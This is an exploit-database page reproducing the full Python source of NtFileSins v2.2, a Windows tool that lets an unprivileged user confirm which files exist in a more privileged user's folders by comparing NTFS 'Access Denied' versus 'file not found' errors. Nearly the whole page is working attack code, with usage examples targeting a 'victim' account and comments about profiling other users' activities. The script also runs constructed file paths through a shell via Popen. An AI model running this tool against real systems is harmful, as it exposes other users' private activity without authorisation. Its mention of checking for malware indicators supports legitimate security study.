Advertisement






NtFileSins v2.2 - Windows NTFS Privileged File Access Enumeration Tool (Python v3)

CVE Category Price Severity
CWE-XXX Not specified Not specified
Author Risk Exploitation Type Date
Not specified Not specified Not specified 2020-11-08
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 0.7458 0.94905

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020110048

Below is a copy:

NtFileSins v2.2 - Windows NTFS Privileged File Access Enumeration Tool (Python v3)
from subprocess import Popen, PIPE
import sys,argparse,re

#MIT License
#Copyright (c) 2020 John Page (aka hyp3rlinx)
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the Software is
#furnished to do so, subject to the following conditions:

#The above copyright notice and this permission notice shall be included in all
#copies or substantial portions of the Software.

#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
#SOFTWARE.

#Permission is also explicitly given for insertion in vulnerability databases and similar,
#provided that due credit is given to the author John Page (aka hyp3rlinx).
#
#
# NtFileSins v2.2 (c)
# By John Page (aka hyp3rlinx)
# Python v3 compatible
# Enhancements: search target user dir on first pass, unless the -d flag is used, added .dat, .tmp file ext checks.
# TODO: Alternate Data Streams (ADS) check e.g. abc.txt:test.txt:$DATA
# Original advisory: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-NTFS-PRIVILEGED-FILE-ACCESS-ENUMERATION.txt
#
# NtFileSins is a Windows File Enumeration Intel Gathering Tool.
# Standard users can prove existence of privileged user artifacts.
#
# Typically, the Windows commands DIR or TYPE hand out a default "Access Denied" error message,
# when a file exists or doesn't exist, when restricted access is attempted by another user.
#
# However, accessing files directly by attempting to "open" them from cmd.exe shell,
# we can determine existence by compare inconsistent Windows error messages.
#
# Requirements: 1) target users with >= privileges (not admin to admin).
#               2) artifacts must contain a dot "." or returns false positives.
#
# Windows message "Access Denied" = Exists
# Windows message "The system cannot find the file" = Not exists
# Windows returns "no message"  OR  "c:\victim\artifact is not recognized as an internal or external command,
# operable program or batch file" = Admin to Admin so this script is not required.
#
# Profile other users by compare ntfs error messages to potentially learn their activities or machines purpose.
# For evil or maybe check for basic malware IOC existence on disk with user-only rights.

#From a defensive perspective we can leverage this to try to detect basic IOC and malware artifacts like .tmp, .ini, .dll, .exe 
#or related config files on disk with user-only rights, instead of authenticating with admin rights as a quick paranoid first pass.

#Example, if malware hides itself by unlinking themselves from the EPROCESS list in memory or using programs like WinRAP to hide
#processess from Windows TaskMgr, we may not discover them even if using tasklist command. The EPROCESS structure and flink/blink is
#how Windows TaskMgr shows all running processes. However, we may possibly detect them by testing for the correct IOC name if the
#malicious code happens to reside on disk and not only in memory. Whats cool is we can be do this without the need for admin rights.
#
#Other Windows commands that will also let us confirm file existence by comparing error messages are start, call, copy, icalcs, and cd.
#However, Windows commands rename, ren, cacls, type, dir, erase, move or del commands will issue flat out "Access is denied" messages.

#
#==========================================================================#
# NtFileSins.py - Windows File Enumeration Intel Gathering Tool v2.2 (c)   #
# By John Page (aka hyp3rlinx)                                             #
# Apparition Security                                                      #
#==========================================================================#

BANNER='''
    _   _______________ __    _____ _           
   / | / /_  __/ ____(_) /__ / ___/(_)___  _____
  /  |/ / / / / /_  / / / _ \\__ \ / / __ \/ ___/
 / /|  / / / / __/ / / /  __/__/ / / / / (__  ) 
/_/ |_/ /_/ /_/   /_/_/\___/____/_/_/ /_/____/ v2.2 (c)

                                  By hyp3rlinx
                                  ApparitionSec                                                                                                                     
'''              

sin_cnt=0
internet_sin_cnt=0
found_set=set()
zone_set=set()
ARTIFACTS_SET=set()
ROOTDIR = "c:/Users/"
ZONE_IDENTIFIER=":Zone.Identifier:$DATA"

USER_DIRS=["Contacts","Desktop","Downloads","Favorites","My Documents","Searches","Videos/Captures",
           "Pictures","Music","OneDrive","OneDrive/Attachments","OneDrive/Documents"]

APPDATA_DIR=["AppData/Local/Temp"]

EXTS = set([".contact",".url",".lnk",".search-ms",".exe",".csv",".txt",".ini",".conf",".config",".log",".pcap",".zip",".mp4",".mp3", ".bat",".tmp",
          ".wav",".docx",".pptx",".reg",".vcf",".avi",".mpg",".jpg",".jpeg",".png",".rtf",".pdf",".dll",".xml",".doc",".gif",".xls",".wmv",".dat"])

REPORT="NtFileSins_Log.txt"

def usage():
    print("NtFileSins is a privileged file access enumeration tool to search multi-account artifacts without admin rights.\n")
    print('-u victim -d Searches -a "MS17-020 - Google Search.url"')
    print('-u victim -a "<name.ext>"')
    print("-u victim -d Downloads -a <name.ext> -s")
    print('-u victim -d Contacts -a "Mike N.contact"')
    print("-u victim -a APT -b -n")
    print("-u victim -d -z Desktop/MyFiles -a  <.name>")
    print("-u victim -d Searches -a <name>.search-ms")
    print("-u victim -d . -a <name.ext>")
    print("-u victim -d desktop -a inverted-crosses.mp3 -b")
    print("-u victim -d Downloads -a APT.exe -b")
    print("-u victim -f list_of_files.txt")
    print("-u victim -f list_of_files.txt -b -s")
    print("-u victim -f list_of_files.txt -x .txt")
    print("-u victim -d desktop -f list_of_files.txt -b")
    print("-u victim -d desktop -f list_of_files.txt  -x .rar")
    print("-u victim -z -s -f list_of_files.txt")

def parse_args():
    parser.add_argument("-u", "--user", help="Privileged user target")
    parser.add_argument("-d", "--directory", nargs="?", help="Specific directory to search <e.g. Downloads>.")
    parser.add_argument("-a", "--artifact", help="Single artifact we want to verify exists.")
    parser.add_argument("-t", "--appdata", nargs="?", const="1", help="Searches the AppData/Local/Temp directory.")
    parser.add_argument("-f", "--artifacts_from_file", nargs="?", help="Enumerate a list of supplied artifacts from a file.")
    parser.add_argument("-n", "--notfound", nargs="?", const="1", help="Display unfound artifacts.")
    parser.add_argument("-b", "--built_in_ext", nargs="?", const="1", help="Enumerate files using NtFileSin built-in ext types.")
    parser.add_argument("-x", "--specific_ext", nargs="?", help="Enumerate using specific ext, e.g. <.exe> using a supplied list of artifacts, a supplied ext will override any in the supplied artifact list.")
    parser.add_argument("-z", "--zone_identifier", nargs="?", const="1", help="Identifies artifacts downloaded from the internet by checking for Zone.Identifier:$DATA.")
    #parser.add_argument("-r", "--ads_streams", nargs="?", const="1", help="Locate ADS hidden file streams (artifact name required).")
    parser.add_argument("-s", "--save", nargs="?", const="1", help="Saves successfully enumerated artifacts, will log to "+REPORT)
    parser.add_argument("-v", "--verbose", nargs="?", const="1", help="Displays the file access error messages.")
    parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show example usage.")
    return parser.parse_args()


def access(j):
    result=""
    try:
        p = Popen([j], stdout=PIPE, stderr=PIPE, shell=True)
        stderr,stdout = p.communicate()
        result = stdout.strip()
        res = result.decode("utf-8")
    except Exception as e:
        #print(str(e))
        pass
    return res


def artifacts_from_file(artifacts_file, bflag, specific_ext):
    try:
        f=open(artifacts_file, "r")
        for a in f:
            idx = a.rfind(".")
            a = a.strip()
            if a != "":
                if specific_ext:
                    if idx==-1:
                        a = a + specific_ext
                    else:
                        #replace existing ext
                        a = a[:idx] + specific_ext
                if bflag:
                    ARTIFACTS_SET.add(a)
                else:
                    ARTIFACTS_SET.add(a)
        f.close()
    except Exception as e:
        print(str(e))
        exit()


def save():
    try:
        f=open(REPORT, "w")
        for j in found_set:
            f.write(j+"\n")
        f.close()
    except Exception as e:
        print(str(e))


def recon_msg(s):
    if s == 0:
        return "Access is denied."
    else:
        return "\t[*] Artifact exists ==>"


def echo_results(args, res, x, i):
    global sin_cnt
    if res=="":
        print("\t[!] No NTFS message, you must already be admin, then this script is not required.")
        exit()
    if "not recognized as an internal or external command" in res:
        print("\t[!] You must target users with higher privileges than yours.")
        exit()
    if res != recon_msg(0):
        if args.verbose:
            print("\t"+res)
        else:
            if args.notfound:
                print("\t[-] not found: " + x +"/"+ i)
    else:
        sin_cnt += 1
        if args.save or args.zone_identifier:
            found_set.add(x+"/"+i)
        if args.verbose:
            print(recon_msg(1)+ x+"/"+i)
            print("\t"+res)
        else:
            print(recon_msg(1)+ x+"/"+i)


def valid_artifact_name(sin,args):
    idx = "." in sin
    if re.findall(r"[/\\*?:<>|]", sin):
        print("\t[!] Skipping: disallowed file name character.")
        return False
    if not idx and not args.built_in_ext and not args.specific_ext:
        print("\t[!] Warning: '"+ sin +"' has no '.' in the artifact name, this can result in false positives.")
        print("\t[+] Searching for '"+ sin +"' using built-in ext list to prevent false positives.")
    if not args.built_in_ext:
        if sin[-1] == ".":
            print("\t[!] Skipping: "+sin+" non valid file name.")
            return False
    return True


def search_missing_ext(path,args,i):
    res=""
    for x in path:
        for e in EXTS:
            res = access(ROOTDIR+"/"+x+"/"+i+e)
            if res=="":
                res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
            if res:
                echo_results(args, res, x, i+e)


#Check if the found artifact was downloaded from internet
def zone_identifier_check(args):
    
    global ROOTDIR, internet_sin_cnt
    zone_set.update(found_set)
    
    for c in found_set:
        c = c + ZONE_IDENTIFIER
        res = access(ROOTDIR+args.user+"/"+c)
        if res == "Access is denied.":
           internet_sin_cnt += 1
           print("\t[$] Zone Identifier found: "+c+" this file was downloaded over the internet!.")
           zone_set.add(c)


#@TODO: Find ADS
def alternate_data_dreams():
    pass


def ntsins(path,args,i):
    res=""
    if i.rfind(".")==-1:
        search_missing_ext(path,args,i)
        i=""
    for x in path:
        if i != "":
            if args.built_in_ext=="1":
                for e in EXTS:
                    #Search current targets user dir first.
                    res = access(ROOTDIR+"/"+x+"/"+i+e)
                    if res=="":
                        res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
                    if res:
                        echo_results(args, res, x, i+e)
            elif args.specific_ext:
                idx = i.rfind(".")
                if idx == -1:
                    i = i + "."
                else:
                    i = i[:idx] + args.specific_ext
            #Search current targets user dir first.
            res = access(ROOTDIR+"/"+x+"/"+i)
            if res=="":
                res = access(ROOTDIR+args.user+"/"+x+"/"+i)
            if res:
                echo_results(args, res, x, i)
            

def search(args):
    print("\tSearching...\n")
    global ROOTDIR, USER_DIRS, ARTIFACTS_SET
    
    if args.artifact:
        ARTIFACTS_SET = set([args.artifact])
        
    for i in ARTIFACTS_SET:
        idx = i.rfind(".") + 1
        if idx and args.built_in_ext:
            i = i[:idx -1:None]
        if len(i) > 0 and i != None: 
            if valid_artifact_name(i,args):
                #specific user dir search
                if args.directory:
                    single_dir=[args.directory]
                    ntsins(single_dir,args,i)
                #search appdata dirs
                elif args.appdata:
                    ntsins(APPDATA_DIR,args,i)
                #all default user dirs
                else:
                    ntsins(USER_DIRS,args,i)
        

def check_dir_input(_dir):
    if len(re.findall(r":", _dir)) != 0:
        print("[!] Check the directory arg, NtFileSins searches under c:/Users/target by default see Help -h.")
        return False
    return True


def main(args):

    global USER_DIRS

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.examples:
        usage()
        exit()

    if not args.user:
        print("[!] No target user specified see Help -h")
        exit()

    if args.appdata and args.directory:
        print("[!] Multiple search directories supplied see Help -h")
        exit()

    if args.specific_ext:
        if  "." not in args.specific_ext:
            print("[!] Must use full extension e.g. -x ."+args.specific_ext+", dot in filenames mandatory to prevent false positives.")
            exit()
            
    if args.artifact and args.artifacts_from_file:
        print("[!] Multiple artifacts specified, use just -f or -a see Help -h")
        exit()
        
    if args.built_in_ext and args.specific_ext:
        print("\t[!] Both specific and built-in extensions supplied, use only one.")
        exit()

    if args.specific_ext and not args.artifacts_from_file:
        print("\t[!] -x to be used with -f flag only see Help -h.")
        exit()
        
    if args.artifact:
        if args.artifact.rfind(".")==-1 and not args.built_in_ext:
            print("\t[!] Artifacts must contain a .ext or will result in false positives, use -b flag (built-in ext checks).")
            exit()
            
    if args.directory:
        if not check_dir_input(args.directory):
            exit()
            
    if args.artifacts_from_file:
        artifacts_from_file(args.artifacts_from_file, args.built_in_ext, args.specific_ext)

    #TODO:
    #if args.ads_streams:
        #alternate_data_dreams()

    if not args.artifact and not args.artifacts_from_file:
        print("[!] Exiting, no artifacts supplied see Help -h")
        exit()
    else:
        #Search targets user dir by default, instead of require -d flag to specify the dir.
        USER_DIRS.append(args.user)
        search(args)

    if sin_cnt >= 1 and args.zone_identifier:
        zone_identifier_check(args)
    
    if args.save and len(found_set) != 0 and not args.zone_identifier:
        save()
        
    if args.save and len(zone_set) != 0:
        found_set.update(zone_set)
        save()
    
    print("\n\tNtFileSins Detected "+str(sin_cnt)+ " out of %s" % str(len(ARTIFACTS_SET)) + " Sins.\n")
    
    if args.zone_identifier and internet_sin_cnt >= 1:
        print("\t"+str(internet_sin_cnt) + " of the sins were internet downloaded.\n")
    
    if not args.notfound:
        print("\tuse -n to display unfound enumerated files.")
    if not args.built_in_ext:
        print("\tfor extra search coverage try -b flag or targeted artifact search -a.")

    
if __name__ == "__main__":
    print(BANNER)
    parser = argparse.ArgumentParser()
    main(parse_args())

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.